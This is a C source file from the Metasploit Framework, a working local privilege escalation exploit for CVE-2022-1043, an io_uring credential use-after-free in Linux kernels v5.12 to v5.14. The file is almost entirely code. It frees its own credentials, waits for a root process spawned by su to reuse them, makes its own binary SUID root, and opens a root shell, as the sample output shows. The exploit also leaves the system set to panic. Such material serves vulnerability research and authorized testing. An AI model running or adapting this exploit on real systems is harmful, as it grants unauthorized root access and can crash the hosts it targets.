rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2022-1043/cve-2022-1043.c

Summary

Maintainability
Test Coverage
/* PoC for CVE-2022-1043, a bug in io_uring leading to an additional put_cred()
 * that can be exploited to hijack credentials of other processes.
 *
 * We spawn SUID programs to get the free'd cred object reallocated by a
 * privileged process and abuse them to create a SUID root binary ourselves
 * that'll pop a shell.
 *
 * The dangling cred pointer will, however, lead to a kernel panic as soon as
 * the task terminates and its credentials are destroyed. We therefore detach
 * from the controlling terminal, block all signals and rest in silence until
 * the system shuts down and we get killed hard, just to cry in vain, seeing
 * the kernel collapse.
 *
 * The bug affected kernels from v5.12-rc3 to v5.14-rc7 and has been fixed by
 * commit a30f895ad323 ("io_uring: fix xa_alloc_cycle() error return value
 * check").
 *
 * user@box:~$ gcc -pthread cve-2022-1043.c -o cve-2022-1043
 * user@box:~$ ./cve-2022-1043
 * [~] forking helper process...
 * [~] creating worker threads...
 * [~] ID wrapped after 65536 allocation attempts! (id = 1)
 * [~] ID wrapped again after 131071 allocation attempts! (id = 1)
 * [~] waiting for creds to get reallocated...
 * [.] reused by uninteresting EUID -16843010 (PaX MEMORY_SANITIZE?)
 * [.] reused by uninteresting EUID 1000
 * [*] waiting for root shell...
 * # id
 * uid=0(root) gid=0(root) groups=0(root),1000(user)
 *
 * (c) 2022 Open Source Security, Inc.
 *
 * - minipli
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <pthread.h>
#include <unistd.h>
#include <limits.h>
#include <signal.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>

#define MEM_SANITIZE_UID    ((uid_t)0xfefefefefefefefe)
#define IORING_ID_MAX        USHRT_MAX

#if 0
#define SUID_HELPER    "/bin/passwd", "-S"
#else
#define SUID_HELPER    "/usr/bin/su"    /* noisier, but faster! */
#endif
#define NUM_PROCS    10

extern char **environ;

static struct shmem { volatile int check; } *shmem;
static int process_pipes[2][2] = { { -1, -1 }, { -1, -1 } };
static int thread_pipe[2] = { -1, -1 };
static __thread bool allowed_to_die = true;
static int fd = -1;

#ifndef __NR_io_uring_setup
#define __NR_io_uring_setup        425
#endif
static int io_uring_setup(unsigned int entries, struct io_uring_params *p)
{
    return syscall(__NR_io_uring_setup, entries, p);
}

#ifndef __NR_io_uring_register
#define __NR_io_uring_register    427
#endif
static int io_uring_register(int fd, unsigned int oc, void *arg,
                             unsigned int nr_args)
{
    return syscall(__NR_io_uring_register, fd, oc, arg, nr_args);
}

static void zombify(int closefds) {
    sigset_t set;

    sigfillset(&set);
    sigprocmask(SIG_BLOCK, &set, NULL);

    if (closefds) {
        close(process_pipes[0][0]);
        close(process_pipes[0][1]);
        close(process_pipes[1][0]);
        close(process_pipes[1][1]);
        close(thread_pipe[0]);
        close(thread_pipe[1]);
        close(0);
        close(1);
        close(2);
    }

    for (;;)
        pause();
}

#define _msg(e, fmt,...) msg(e, fmt "\n", ##__VA_ARGS__)
#define die(fmt,...)    _msg(1, "[!] " fmt, ##__VA_ARGS__)
#define err(fmt,...)    _msg(1, "[!] " fmt ": %m", ##__VA_ARGS__)
#define warn(fmt,...)    _msg(0, "[-] " fmt, ##__VA_ARGS__)
#define info(fmt,...)    _msg(0, "[~] " fmt, ##__VA_ARGS__)
#define info2(fmt,...)    _msg(0, "[.] " fmt, ##__VA_ARGS__)
#define info3(fmt,...)    _msg(0, "[*] " fmt, ##__VA_ARGS__)

static void msg(int die, const char *fmt,...) __attribute__((format(printf,2,3)));
static void msg(int die, const char *fmt,...) {
    va_list va;

    va_start(va, fmt);
    vprintf(fmt, va);
    va_end(va);

    if (die) {
        if (!allowed_to_die) {
            warn("not allowed to die, zombie time!");
            zombify(1);
        } else
            exit(1);
    }
}

static bool pin_cpu(int cpu) {
    cpu_set_t cpus;

    CPU_ZERO(&cpus);
    CPU_SET(cpu, &cpus);

    return !!sched_setaffinity(0, sizeof(cpus), &cpus);
}

static bool is_suid(const char *path) {
    struct stat buf;

    if (stat(path, &buf))
        return false;

    return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111;
}

static void *do_trigger(void *arg) {
    uid_t uid, last_uid;
    int last, ret, i;
    int wrapped;

    /* Plan:
     * - setuid(getuid()) to get some fresh unshared creds
     * - register/unregister loop until ID wrapped twice (and cred put)
     * - switch CPU and signal helper to unregister and do the final put of our
     *   creds to avoid hitting sanity checks in __put_cred()
     * - wait until cred got reallocated by a privileged process
     * - pin hijacked cred by registering once more
     * - abuse creds to make /proc/self/exe SUID root
     * - rest in silence
     */

    /* Get a fresh cred object */
    uid = getuid();
    if (setuid(uid))
        err("%s: setuid(%d)", __func__, uid);

    /* Trigger bug by making the ID wrap */
    wrapped = 0;
    ret = last = -1;
    for (i = 0; i < 2 * IORING_ID_MAX + 1; i++) {
        ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0);
        if (ret < 0) {
            err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) # %d",
                __func__, i);
        }

        if (last < ret)
            last = ret;

        if (ret < last) {
            info("ID wrapped%s after %d allocation attempts! (id = %d)",
                 wrapped ? " again" : "", i+1, ret);

            /* We do the first put ourselves, only the final one needs to be
             * done by a different task.
             */
            wrapped++;
            if (wrapped == 2)
                break;

            last = ret;
        }

        if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, ret)) {
            err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)",
                __func__, ret);
        }
    }

    /* If we triggered the bug, we have no valid creds any more, we're not
     * allowed to terminate!
     */
    if (wrapped)
        allowed_to_die = false;

    if (wrapped < 2) {
        die("IDs didn't wrap%s after %d allocation attempts?!?",
            wrapped ? " often enough" : "", i);
    }

    /* Switch CPUs to not trip the checks in __put_cred() about destroying our
     * own creds via the RCU worker.
     */
    if (pin_cpu(1))
        err("%s: failed to pin to CPU #%d", __func__, 1);

    /* Signal helper to unregister */
    if (write(thread_pipe[1], &ret, sizeof(ret)) < (int)sizeof(ret))
        err("%s: failed to signal helper thread", __func__);

    /* Wait for creds to be reallocated by a privileged process */
    info("waiting for creds to get reallocated...");

    last_uid = uid;
    for (;;) {
        static int print_limit = 5;
        uid_t new_uid;
        char ch;

        /* Wait for a flock of root creds getting allocated */
        while (!shmem->check)
            usleep(1);

        /* Non-faulting sanity checks first */
        if (prctl(PR_GET_SECUREBITS, 0, 0, 0, 0) != 0)
            goto next_batch;

        for (i = 0; i < 40; i++) {
            if (prctl(PR_CAPBSET_READ, i, 0, 0, 0) != 1)
                goto next_batch;
        }

        /* Check EUID, as we're spawning SUID processes */
        new_uid = geteuid();
        if (new_uid == 0)
            break;

        /* Show some progress along the way... */
        if (new_uid != last_uid && print_limit) {
            bool mem_sanititze = new_uid == MEM_SANITIZE_UID;

            info2("reused by uninteresting EUID %d%s", new_uid,
                  mem_sanititze ? " (PaX MEMORY_SANITIZE?)" : "");

            print_limit--;
            if (print_limit == 0)
                info("muting further changes, waiting for root creds!");
        }

        last_uid = new_uid;

next_batch:    /* Reap the zombies and try again */
        shmem->check = 0;
    }

    /* Prevent the hijacked creds from vanishing under us by grabbing another
     * reference.
     */
    ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0);
    if (ret < 0)
        err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) for foreign cred pinning",
            __func__);

    /* Give any possibly pending LSM setup time to finish. */
    usleep(250 * 1000);

    /* Make this binary SUID root */
    if (chown("/proc/self/exe", 0, (gid_t)-1))
        err("chown() failed! bad creds?");

    if (chmod("/proc/self/exe", 04755))
        err("chmod() failed! bad creds?");

    info3("waiting for root shell...");

    /* Let the spawner reap the zombies and spawn our shell. */
    shmem->check = 0;

    zombify(1);

    return arg;
}

static void *do_unregister(void *arg) {
    int id;

    /* Wait for do_trigger() to align the stars^Wcreds */
    switch (read(thread_pipe[0], &id, sizeof(id))) {
        case sizeof(id):
            break;
        case 0:
            return arg;
        default:
            err("%s: read()", __func__);
    }

    /* Final put_cred() for the other thread's creds */
    if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, id)) {
        err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)",
            __func__, id);
    }

    /* Let the SUID spawner know we're ready */
    if (write(process_pipes[0][1], "1", 1) <= 0)
        err("%s: write(pipe)", __func__);

    return arg;
}

static void suid_spawner(int pipe_rd, int pipe_wr) {
    char *argv[] = { SUID_HELPER, NULL };
    int procs = 0;
    char ch;

    shmem->check = 0;

    if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
        err("%s: prctl(PR_SET_PDEATHSIG)", __func__);

    /* Signal we're ready */
    if (write(pipe_wr, "1", 1) <= 0)
        err("%s: write(pipe)", __func__);

    /* Wait for the trigger */
    if (read(pipe_rd, &ch, sizeof(ch)) <= 0)
        err("%s: read(pipe)", __func__);

    for (;;) {
        /* Break as soon as we were able to exploit the hijacked privs */
        if (is_suid("/proc/self/exe")) {
            while (procs--)
                wait(NULL);

            execve("/proc/self/exe", (char *const []){ argv[0], NULL }, environ);
            err("%s: exec(self)", __func__);
        }

        switch (fork()) {
            case -1:
                usleep(1);
                break;
            case 0:
                /* Ensure the forked helper stays silent */
                close(0); close(1); close(2);
                execve(argv[0], argv, environ);
                exit(1);
            default:
                procs++;
        }

        if (procs >= NUM_PROCS) {
            /* Sync with do_trigger() before reaping processes */
            shmem->check = 1;
            while (shmem->check)
                usleep(1);
            if (wait(NULL) > 0)
                procs--;
            while (waitpid(-1, NULL, WNOHANG) > 0)
                procs--;
        }
    }
}

static int child(void) {
    struct io_uring_params p = { };
    pthread_t threads[2];

    if (daemon(1, 1))
        err("parent: daemon()");

    fd = io_uring_setup(1, &p);
    if (fd < 0)
        err("parent: io_uring_setup()");

    info("creating worker threads...");
    if (pipe(thread_pipe))
        err("parent: pipe()");

    if (pthread_create(&threads[0], NULL, do_trigger, NULL) ||
        pthread_create(&threads[1], NULL, do_unregister, NULL))
        err("pthread_create()");

    pthread_join(threads[1], NULL);
    /* do_trigger() zombifies itself, no need to wait for it */
    zombify(0);

    return 1;
}

int main(int argc, char *argv[]) {
    pid_t pid;
    char ch;

    if (!getuid())
        die("ahem...");

    /* Fast lane for the SUID path */
    if (!geteuid()) {

        if (setuid(0) || setgid(0))
            err("set*id(0)");

        execve(argv[0], argv, NULL);
        err("execve('%s') failed", argv[0]);
    }

    /* Ensure all tasks start on the same CPU to share SLUB's partial slabs */
    if (pin_cpu(0))
        err("failed to pin to CPU #%d", 0);

    info("forking helper process...");
    if (pipe(process_pipes[0]) < 0 || pipe(process_pipes[1]) < 0)
        err("pipe()");

    shmem = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ | PROT_WRITE,
                 MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    if (shmem == MAP_FAILED)
        err("mmap(shmem");

    pid = fork();
    switch (pid) {
        case  0: suid_spawner(process_pipes[0][0], process_pipes[1][1]);
                 /* fall-through -- not! */
        case -1: err("fork()");
    }

    /* Wait till the child is ready to ensure proper process reaping */
    if (read(process_pipes[1][0], &ch, sizeof(ch)) <= 0)
        err("parent: read(pipe)");

    /* Detach from the controlling terminal, we might need to sleep forever */
    switch (fork()) {
        int status;
        default: wait(&status); break;
        case -1: err("fork()"); break;
        case  0: exit(child());
    }

    /* Wait for the SUID spawner to finish */
    waitpid(pid, NULL, 0);

    return 0;
}